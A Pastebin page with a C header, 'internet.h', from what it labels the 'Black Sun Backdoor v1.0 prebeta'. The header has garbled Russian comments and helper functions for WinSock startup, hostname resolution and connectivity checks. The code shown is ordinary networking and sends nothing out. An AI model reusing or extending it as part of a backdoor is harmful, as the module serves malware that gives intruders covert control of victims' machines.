Advertisement
FlyFar

src/internet.h

May 17th, 2024
542
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.99 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                         (x) Cytec 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [internet.h]
  15.  *      Ìîäóëü ñîñòîÿùèé èç ôóíêöèé äëÿ ðàáîòû ñ ñåòüþ.
  16.  *  ---------------------------------------------------------------------
  17.  */
  18.  
  19. // ------------------ [ Èíèöèöèàëèçàöèÿ WinSock2 API ] ------------------ //
  20.  
  21. static DWORD WINAPI InitWinSock2API()
  22. {
  23.     WSADATA wsaData;
  24.     WSAStartup(MAKEWORD(2,2),&wsaData);
  25.     return 0;
  26. }
  27.  
  28. // ------------------ [ Ïîëó÷åíèå IP-àäðåñà ïî èìåíè õîñòà ] ------------------ //
  29.  
  30. static DWORD WINAPI GetIpByHostname(char *host)
  31. {
  32.     DWORD ret = 0;
  33.     struct hostent * hp = gethostbyname(host);
  34.     if (!hp) ret = inet_addr(host);
  35.     if ((!hp)&&(ret == INADDR_NONE)) return 0;
  36.     if (hp != NULL) fMemCpy((void*)&ret, hp->h_addr,hp->h_length);
  37.     return ret;
  38. }
  39.  
  40. // ------------------ [ Ïðîâåðêà ñîåäèíåíèÿ ñ èíòåðíåòîì ] ------------------ //
  41.  
  42. static BOOL CheckInternetConnection()
  43. {
  44.     DWORD lpdwFlags;
  45.     BOOL Connect;
  46.     HINSTANCE hLib = NULL;
  47.     INETCHECKPROC pfnInternetGetConnectedState;
  48.     hLib = LoadLibrary("wininet.dll");
  49.     if (!hLib){ return 0; }
  50.     pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
  51.     if(!pfnInternetGetConnectedState) return FALSE;
  52.     Connect = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
  53.     FreeLibrary(hLib);
  54.     return Connect;
  55. }
  56.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement